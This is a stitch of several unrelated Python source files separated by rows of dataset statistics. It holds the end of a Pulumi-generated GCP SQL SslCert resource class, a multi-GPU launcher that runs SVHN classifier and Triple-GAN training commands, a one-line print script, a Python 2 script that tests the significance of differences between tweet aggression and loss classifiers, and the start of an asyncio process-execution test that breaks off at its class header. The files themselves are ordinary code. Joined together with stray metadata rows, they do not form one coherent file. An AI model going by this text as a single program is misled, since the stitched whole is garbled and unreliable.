__props__.__dict__["create_time"] = None
__props__.__dict__["expiration_time"] = None
__props__.__dict__["private_key"] = None
__props__.__dict__["server_ca_cert"] = None
__props__.__dict__["sha1_fingerprint"] = None
super(SslCert, __self__).__init__(
'gcp:sql/sslCert:SslCert',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
cert: Optional[pulumi.Input[str]] = None,
cert_serial_number: Optional[pulumi.Input[str]] = None,
common_name: Optional[pulumi.Input[str]] = None,
create_time: Optional[pulumi.Input[str]] = None,
expiration_time: Optional[pulumi.Input[str]] = None,
instance: Optional[pulumi.Input[str]] = None,
private_key: Optional[pulumi.Input[str]] = None,
project: Optional[pulumi.Input[str]] = None,
server_ca_cert: Optional[pulumi.Input[str]] = None,
sha1_fingerprint: Optional[pulumi.Input[str]] = None) -> 'SslCert':
"""
Get an existing SslCert resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] cert: The actual certificate data for this client certificate.
:param pulumi.Input[str] cert_serial_number: The serial number extracted from the certificate data.
:param pulumi.Input[str] common_name: The common name to be used in the certificate to identify the
client. Constrained to [a-zA-Z.-_ ]+. Changing this forces a new resource to be created.
:param pulumi.Input[str] create_time: The time when the certificate was created in RFC 3339 format,
for example 2012-11-15T16:19:00.094Z.
:param pulumi.Input[str] expiration_time: The time when the certificate expires in RFC 3339 format,
for example 2012-11-15T16:19:00.094Z.
:param pulumi.Input[str] instance: The name of the Cloud SQL instance. Changing this
forces a new resource to be created.
:param pulumi.Input[str] private_key: The private key associated with the client certificate.
:param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it
is not provided, the provider project is used.
:param pulumi.Input[str] server_ca_cert: The CA cert of the server this client cert was generated from.
:param pulumi.Input[str] sha1_fingerprint: The SHA1 Fingerprint of the certificate.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _SslCertState.__new__(_SslCertState)
__props__.__dict__["cert"] = cert
__props__.__dict__["cert_serial_number"] = cert_serial_number
__props__.__dict__["common_name"] = common_name
__props__.__dict__["create_time"] = create_time
__props__.__dict__["expiration_time"] = expiration_time
__props__.__dict__["instance"] = instance
__props__.__dict__["private_key"] = private_key
__props__.__dict__["project"] = project
__props__.__dict__["server_ca_cert"] = server_ca_cert
__props__.__dict__["sha1_fingerprint"] = sha1_fingerprint
return SslCert(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def cert(self) -> pulumi.Output[str]:
"""
The actual certificate data for this client certificate.
"""
return pulumi.get(self, "cert")
@property
@pulumi.getter(name="certSerialNumber")
def cert_serial_number(self) -> pulumi.Output[str]:
"""
The serial number extracted from the certificate data.
"""
return pulumi.get(self, "cert_serial_number")
@property
@pulumi.getter(name="commonName")
def common_name(self) -> pulumi.Output[str]:
"""
The common name to be used in the certificate to identify the
client. Constrained to [a-zA-Z.-_ ]+. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "common_name")
@property
@pulumi.getter(name="createTime")
def create_time(self) -> pulumi.Output[str]:
"""
The time when the certificate was created in RFC 3339 format,
for example 2012-11-15T16:19:00.094Z.
"""
return pulumi.get(self, "create_time")
@property
@pulumi.getter(name="expirationTime")
def expiration_time(self) -> pulumi.Output[str]:
"""
The time when the certificate expires in RFC 3339 format,
for example 2012-11-15T16:19:00.094Z.
"""
return pulumi.get(self, "expiration_time")
@property
@pulumi.getter
def instance(self) -> pulumi.Output[str]:
"""
The name of the Cloud SQL instance. Changing this
forces a new resource to be created.
"""
return pulumi.get(self, "instance")
@property
@pulumi.getter(name="privateKey")
def private_key(self) -> pulumi.Output[str]:
"""
The private key associated with the client certificate.
"""
return pulumi.get(self, "private_key")
@property
@pulumi.getter
def project(self) -> pulumi.Output[str]:
"""
The ID of the project in which the resource belongs. If it
is not provided, the provider project is used.
"""
return pulumi.get(self, "project")
@property
@pulumi.getter(name="serverCaCert")
def server_ca_cert(self) -> pulumi.Output[str]:
"""
The CA cert of the server this client cert was generated from.
"""
return pulumi.get(self, "server_ca_cert")
@property
@pulumi.getter(name="sha1Fingerprint")
def sha1_fingerprint(self) -> pulumi.Output[str]:
"""
The SHA1 Fingerprint of the certificate.
"""
return pulumi.get(self, "sha1_fingerprint")
| 41.849903
| 241
| 0.638875
| 2,629
| 21,469
| 5.009509
| 0.084062
| 0.070995
| 0.088231
| 0.081853
| 0.84609
| 0.80858
| 0.75915
| 0.721109
| 0.717236
| 0.677221
| 0
| 0.012633
| 0.262565
| 21,469
| 512
| 242
| 41.931641
| 0.819227
| 0.368392
| 0
| 0.532075
| 1
| 0
| 0.101449
| 0.001894
| 0
| 0
| 0
| 0
| 0
| 1
| 0.162264
| false
| 0.003774
| 0.018868
| 0
| 0.283019
| 0.056604
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
966f8a75cdc48080c6faf652c15988e57c380215
| 9,957
|
py
|
Python
|
tunner.py
|
AmirHosseinAmeli/Triple-GAN
|
127948d9e22767d315a4b3ca58fc4a56d92ff9d3
|
[
"MIT"
] | 29
|
2020-09-03T08:35:47.000Z
|
2022-02-10T18:39:29.000Z
|
tunner.py
|
AmirHosseinAmeli/Triple-GAN
|
127948d9e22767d315a4b3ca58fc4a56d92ff9d3
|
[
"MIT"
] | 6
|
2020-12-22T14:43:14.000Z
|
2022-03-12T00:55:24.000Z
|
tunner.py
|
AmirHosseinAmeli/Triple-GAN
|
127948d9e22767d315a4b3ca58fc4a56d92ff9d3
|
[
"MIT"
] | 8
|
2020-10-01T04:03:40.000Z
|
2022-03-21T10:23:40.000Z
|
import os
import multiprocessing
import time
import itertools
# Args
gpu_list = [0, 1, 2, 3]
args_fortune = {
"TUNNER_groups": [
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1001 -translate 2 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1002 -translate 2 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1003 -translate 2 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1001 -translate 2 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1002 -translate 2 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1003 -translate 2 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1001 -translate 2 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1002 -translate 2 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1003 -translate 2 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1001 -translate 0 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1002 -translate 0 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1003 -translate 0 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1001 -translate 0 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1002 -translate 0 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1003 -translate 0 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1001 -translate 0 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1002 -translate 0 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1003 -translate 0 -c_loss mtssl ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1001 -translate 2 -c_loss loss_elr_wrap ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1002 -translate 2 -c_loss loss_elr_wrap ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1003 -translate 2 -c_loss loss_elr_wrap ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1001 -translate 2 -c_loss loss_elr_wrap ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1002 -translate 2 -c_loss loss_elr_wrap ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1003 -translate 2 -c_loss loss_elr_wrap ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1001 -translate 2 -c_loss loss_elr_wrap ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1002 -translate 2 -c_loss loss_elr_wrap ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1003 -translate 2 -c_loss loss_elr_wrap ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1001 -translate 0 -c_loss loss_elr_wrap ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1002 -translate 0 -c_loss loss_elr_wrap ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1003 -translate 0 -c_loss loss_elr_wrap ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1001 -translate 0 -c_loss loss_elr_wrap ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1002 -translate 0 -c_loss loss_elr_wrap ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1003 -translate 0 -c_loss loss_elr_wrap ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1001 -translate 0 -c_loss loss_elr_wrap ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1002 -translate 0 -c_loss loss_elr_wrap ",
"python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1003 -translate 0 -c_loss loss_elr_wrap ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 500 -ssl_seed 1001 -translate 2 ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 500 -ssl_seed 1002 -translate 2 ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 500 -ssl_seed 1003 -translate 2 ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 800 -ssl_seed 1001 -translate 2 ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 800 -ssl_seed 1002 -translate 2 ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 800 -ssl_seed 1003 -translate 2 ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 1000 -ssl_seed 1001 -translate 2 ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 1000 -ssl_seed 1002 -translate 2 ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 1000 -ssl_seed 1003 -translate 2 ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 500 -ssl_seed 1001 -translate 0 ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 500 -ssl_seed 1002 -translate 0 ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 500 -ssl_seed 1003 -translate 0 ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 800 -ssl_seed 1001 -translate 0 ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 800 -ssl_seed 1002 -translate 0 ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 800 -ssl_seed 1003 -translate 0 ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 1000 -ssl_seed 1001 -translate 0 ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 1000 -ssl_seed 1002 -translate 0 ",
"python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 1000 -ssl_seed 1003 -translate 0 ",
],
"subfolder": ["ELR_SVHN"],
}
command_template = ""
key_sequence = []
for k in args_fortune:
key_sequence.append(k)
if k == "config_file" or "TUNNER" in k:
command_template += " {}"
else:
command_template += " -" + k + " {}"
print(command_template, key_sequence)
possible_value = []
for k in key_sequence:
possible_value.append(args_fortune[k])
commands = []
for args in itertools.product(*possible_value):
commands.append(command_template.format(*args))
print("# experiments = {}".format(len(commands)))
gpus = multiprocessing.Manager().list(gpu_list)
proc_to_gpu_map = multiprocessing.Manager().dict()
def exp_runner(cmd):
process_id = multiprocessing.current_process().name
if process_id not in proc_to_gpu_map:
proc_to_gpu_map[process_id] = gpus.pop()
print("assign gpu {} to {}".format(proc_to_gpu_map[process_id], process_id))
gpuid = proc_to_gpu_map[process_id]
return os.system(cmd + " -gpu {} -key {}".format(gpuid, gpuid))
p = multiprocessing.Pool(processes=len(gpus))
rets = p.map(exp_runner, commands)
print(rets)
| 97.617647
| 173
| 0.77664
| 1,555
| 9,957
| 4.585852
| 0.059164
| 0.092554
| 0.090871
| 0.143879
| 0.894825
| 0.894825
| 0.885991
| 0.885991
| 0.885851
| 0.885851
| 0
| 0.05284
| 0.137089
| 9,957
| 101
| 174
| 98.584158
| 0.777118
| 0.000402
| 0
| 0
| 0
| 0.586957
| 0.821224
| 0.343684
| 0
| 0
| 0
| 0
| 0
| 1
| 0.01087
| false
| 0
| 0.043478
| 0
| 0.065217
| 0.043478
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
966fd71bf071f2dd4d34f0941b9862ddb3a1afbb
| 27
|
py
|
Python
|
stepik/67/2228/step_5/script.py
|
tshemake/Software-Development
|
e6dff82dffa49e66dc5fa5650af775437ebb6a9b
|
[
"Unlicense"
] | null | null | null |
stepik/67/2228/step_5/script.py
|
tshemake/Software-Development
|
e6dff82dffa49e66dc5fa5650af775437ebb6a9b
|
[
"Unlicense"
] | null | null | null |
stepik/67/2228/step_5/script.py
|
tshemake/Software-Development
|
e6dff82dffa49e66dc5fa5650af775437ebb6a9b
|
[
"Unlicense"
] | null | null | null |
print(42 / (4 + 2 * (-2)))
| 13.5
| 26
| 0.37037
| 5
| 27
| 2
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.25
| 0.259259
| 27
| 1
| 27
| 27
| 0.25
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
9690daeefa749da85ab537df7e53af1083aa6ce2
| 8,613
|
py
|
Python
|
terra/signifigance_testing.py
|
siddharthvaria/GI-DL
|
715b5fe4426d737ed1b23ffbb812058a90433682
|
[
"MIT"
] | 2
|
2018-05-20T02:37:22.000Z
|
2020-12-24T19:46:46.000Z
|
terra/signifigance_testing.py
|
siddharthvaria/GI-DL
|
715b5fe4426d737ed1b23ffbb812058a90433682
|
[
"MIT"
] | null | null | null |
terra/signifigance_testing.py
|
siddharthvaria/GI-DL
|
715b5fe4426d737ed1b23ffbb812058a90433682
|
[
"MIT"
] | null | null | null |
import scipy
from features import train_tagger
import sys
sys.path.append('code/classification')
from classification import classify
from tools import *
def write_out_predictions(pred, filename):
output = open(filename, 'w')
for p in pred:
output.write(str(p)+'\n')
output.close()
#if using outside package: java de/pado/sigf/AverageART ../sig_test/CC_aggress_a ../sig_test/CC_aggress_b 100
pos_tagger = train_tagger()
model1 = 'svm'
model2 = 'svm'
full_train_data = 'data/_train/train_full.csv'
loss_aggress_train_data = 'data/_train/train_aggress_loss.csv'
pred_dev_data = 'results/predictions/dev_sig_predictions.csv'
dev_data = 'data/_test/test_full.csv'
#CC - aggression
labels_1 = 'loss_aggress'
labels_2 = 'aggress'
k1 = 800
k2 = 1500
feats_1 = [1, 1, 'b', 0, 'none', k1]
feats_2 = [1, 1, 'n', 0, 'min_max/all', k2]
C1 = 0.5
C2 = 0.3
loss1 = 'hinge'
loss2 = 'hinge'
sought_p, sought_r, sought_f1, nsought_p, nsought_r, nsought_f1, predictions = classify(full_train_data, dev_data, model1, labels_1, feats_1, pos_tagger=pos_tagger, C=C1, svm_loss=loss1)
#save predictions to file
all_test_tweets = read_in_data(dev_data)
predicted_test_tweets = []
for i in range(0, len(predictions)):
if predictions[i] == 1: predicted_test_tweets.append(all_test_tweets[i])
write_out_data(predicted_test_tweets, pred_dev_data)
sought_p, sought_r, sought_f1, nsought_p, nsought_r, nsought_f1, predictions2 = classify(loss_aggress_train_data, pred_dev_data, model2, labels_2, feats_2, pos_tagger=pos_tagger, C=C2, svm_loss=loss2)
a = []
c = 0
for i in range(0, len(predictions)):
if predictions[i] == 1:
a.append(predictions2[c])
c += 1
else: a.append(0)
#BCF - aggression (unigram model)
train_file = 'data/_train/train_full.csv'
dev_file = 'data/_test/test_full.csv'
model = 'svm'
label = 'aggress'
feats = [1, 0, 'n', 0, 'n', 1500]
C=0.4
loss = 'hinge'
results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss)
b = results[-1]
print len(a) #TESTING
print len(b) #TESTING
print scipy.stats.ttest_ind(a, b)
print 'p value of CC aggression = '+str(scipy.stats.ttest_ind(a, b)[1])
print
write_out_predictions(a, 'results/significance_testing/CC_aggress_a')
write_out_predictions(b, 'results/significance_testing/CC_aggress_b')
#CC - loss
labels_1 = 'loss_aggress'
labels_2 = 'loss'
k1 = 800
k2 = 1000
feats_1 = [1, 1, 'b', 0, 'none', k1]
feats_2 = [1, 0, 'u', 0, 'min_max/all', k2]
C1 = 0.5
C2 = 0.3
loss1 = 'hinge'
loss2 = 'hinge'
sought_p, sought_r, sought_f1, nsought_p, nsought_r, nsought_f1, predictions = classify(full_train_data, dev_data, model1, labels_1, feats_1, pos_tagger=pos_tagger, C=C1, svm_loss=loss1)
#save predictions to file
all_test_tweets = read_in_data(dev_data)
predicted_test_tweets = []
for i in range(0, len(predictions)):
if predictions[i] == 1: predicted_test_tweets.append(all_test_tweets[i])
write_out_data(predicted_test_tweets, pred_dev_data)
sought_p, sought_r, sought_f1, nsought_p, nsought_r, nsought_f1, predictions2 = classify(loss_aggress_train_data, pred_dev_data, model2, labels_2, feats_2, pos_tagger=pos_tagger, C=C2, svm_loss=loss2)
a = []
c = 0
for i in range(0, len(predictions)):
if predictions[i] == 1:
a.append(predictions2[c])
c += 1
else: a.append(0)
#BCF - loss (unigram model)
train_file = 'data/_train/train_full.csv'
dev_file = 'data/_test/test_full.csv'
model = 'svm'
label = 'loss'
feats = [1, 0, 'n', 0, 'none', 700]
C=0.4
loss = 'squared_hinge'
results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss)
b = results[-1]
print len(a) #TESTING
print len(b) #TESTING
print scipy.stats.ttest_ind(a, b)
print 'p value of CC loss = '+str(scipy.stats.ttest_ind(a, b)[1])
print
write_out_predictions(a, 'results/significance_testing/CC_loss_a')
write_out_predictions(b, 'results/significance_testing/CC_loss_b')
#BCF - aggression (full model)
train_file = 'data/_train/train_full.csv'
dev_file = 'data/_test/test_full.csv'
model = 'svm'
label = 'aggress'
feats = [1, 1, 'u', 0, 'min_max/all', 1500]
C=0.4
loss = 'hinge'
results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss)
a = results[-1]
#BCF - aggression (unigram model)
train_file = 'data/_train/train_full.csv'
dev_file = 'data/_test/test_full.csv'
model = 'svm'
label = 'aggress'
feats = [1, 0, 'n', 0, 'n', 1500]
C=0.4
loss = 'hinge'
results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss)
b = results[-1]
print len(a) #TESTING
print len(b) #TESTING
print 'p value of BCF aggression = '+str(scipy.stats.ttest_ind(a, b)[1])
print
write_out_predictions(a, 'results/significance_testing/BCF_aggress_a')
write_out_predictions(b, 'results/significance_testing/BCF_aggress_b')
#BCF - loss (full model)
train_file = 'data/_train/train_full.csv'
dev_file = 'data/_test/test_full.csv'
model = 'svm'
label = 'loss'
feats = [1, 0, 'b', 0, 'none', 700]
C=0.4
loss = 'squared_hinge'
results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss)
a = results[-1]
#BCF - loss (unigram model)
train_file = 'data/_train/train_full.csv'
dev_file = 'data/_test/test_full.csv'
model = 'svm'
label = 'loss'
feats = [1, 0, 'n', 0, 'none', 700]
C=0.4
loss = 'squared_hinge'
results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss)
b = results[-1]
print len(a) #TESTING
print len(b) #TESTING
print 'p value of BCF loss = '+str(scipy.stats.ttest_ind(a, b)[1])
print
write_out_predictions(a, 'results/significance_testing/BCF_loss_a')
write_out_predictions(b, 'results/significance_testing/BCF_loss_b')
#BCF - aggress+loss (full model)
train_file = 'data/_train/train_full.csv'
dev_file = 'data/_test/test_full.csv'
model = 'svm'
label = 'loss_aggress'
feats = [1, 1, 'b', 0, 'n', 800]
C=0.5
loss = 'hinge'
results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss)
a = results[-1]
#BCF - aggress+loss (unigram model)
train_file = 'data/_train/train_full.csv'
dev_file = 'data/_test/test_full.csv'
model = 'svm'
label = 'loss_aggress'
feats = [1, 0, 'n', 0, 'n', 800]
C=0.5
loss = 'hinge'
results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss)
b = results[-1]
print len(a) #TESTING
print len(b) #TESTING
print 'p value of BCF aggress+loss = '+str(scipy.stats.ttest_ind(a, b)[1])
print
write_out_predictions(a, 'results/significance_testing/BCF_loss_aggress_a')
write_out_predictions(b, 'results/significance_testing/BCF_loss_aggress_b')
#BCS - aggression (full model)
train_file = 'data/_train/train_aggress_loss.csv'
dev_file = 'data/_test/test_aggress_loss.csv'
model = 'svm'
label = 'aggress'
feats = [1, 1, 'n', 0, 'min_max/all', 1500]
C=0.3
loss = 'hinge'
results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss)
a = results[-1]
#BCS - aggression (unigram model)
train_file = 'data/_train/train_aggress_loss.csv'
dev_file = 'data/_test/test_aggress_loss.csv'
model = 'svm'
label = 'aggress'
feats = [1, 0, 'n', 0, 'n', 1500]
C=0.3
loss = 'hinge'
results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss)
b = results[-1]
print len(a) #TESTING
print len(b) #TESTING
print 'p value of BCS aggression = '+str(scipy.stats.ttest_ind(a, b)[1])
print
write_out_predictions(a, 'results/significance_testing/BCS_aggress_a')
write_out_predictions(b, 'results/significance_testing/BCS_aggress_b')
#BCS - loss (full model)
train_file = 'data/_train/train_aggress_loss.csv'
dev_file = 'data/_test/test_aggress_loss.csv'
model = 'svm'
label = 'loss'
feats = [1, 0, 'u', 0, 'min_max/all', 1000]
C=0.3
loss = 'hinge'
results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss)
a = results[-1]
#BCS - loss (unigram model)
train_file = 'data/_train/train_aggress_loss.csv'
dev_file = 'data/_test/test_aggress_loss.csv'
model = 'svm'
label = 'loss'
feats = [1, 0, 'n', 0, 'n', 1000]
C=0.3
loss = 'hinge'
results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss)
b = results[-1]
print len(a) #TESTING
print len(b) #TESTING
print 'p value of BCS loss = '+str(scipy.stats.ttest_ind(a, b)[1])
print
write_out_predictions(a, 'results/significance_testing/BCS_loss_a')
write_out_predictions(b, 'results/significance_testing/BCS_loss_b')
| 28.519868
| 200
| 0.731336
| 1,467
| 8,613
| 4.046353
| 0.074301
| 0.050034
| 0.032345
| 0.048518
| 0.914926
| 0.900101
| 0.885613
| 0.879212
| 0.872473
| 0.835411
| 0
| 0.030487
| 0.120283
| 8,613
| 302
| 201
| 28.519868
| 0.752937
| 0.0721
| 0
| 0.761468
| 0
| 0
| 0.241648
| 0.171691
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.022936
| null | null | 0.137615
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
736f014d8979418e96d89fb69d953ba9e91cc839
| 4,097
|
py
|
Python
|
tests/unit/test_process_utils/test_async_execute_process.py
|
mgorny/osrf_pycommon
|
7682dd795943025f6133c74f2b7104adc1b80107
|
[
"Apache-2.0"
] | 7
|
2017-12-04T22:03:35.000Z
|
2021-12-14T00:40:56.000Z
|
tests/unit/test_process_utils/test_async_execute_process.py
|
mgorny/osrf_pycommon
|
7682dd795943025f6133c74f2b7104adc1b80107
|
[
"Apache-2.0"
] | 46
|
2015-06-11T21:50:55.000Z
|
2022-02-15T00:16:24.000Z
|
tests/unit/test_process_utils/test_async_execute_process.py
|
mgorny/osrf_pycommon
|
7682dd795943025f6133c74f2b7104adc1b80107
|
[
"Apache-2.0"
] | 21
|
2015-06-25T15:36:47.000Z
|
2022-03-27T12:20:04.000Z
|
import atexit
import os
import sys
import unittest
from .impl_aep_asyncio import run
from .impl_aep_asyncio import loop
this_dir = os.path.dirname(os.path.abspath(__file__))
test_script = os.path.join(
this_dir,
'fixtures',
'execute_process',
'stdout_stderr_ordering.py')
test_script_quoted = '"%s"' % test_script if ' ' in test_script else test_script
python = sys.executable
# This atexit handler ensures the loop is closed after all tests were run.
@atexit.register
def close_loop():
if not loop.is_closed():
loop.close()
class TestProcessUtilsAsyncExecuteProcess(unittest.TestCase):
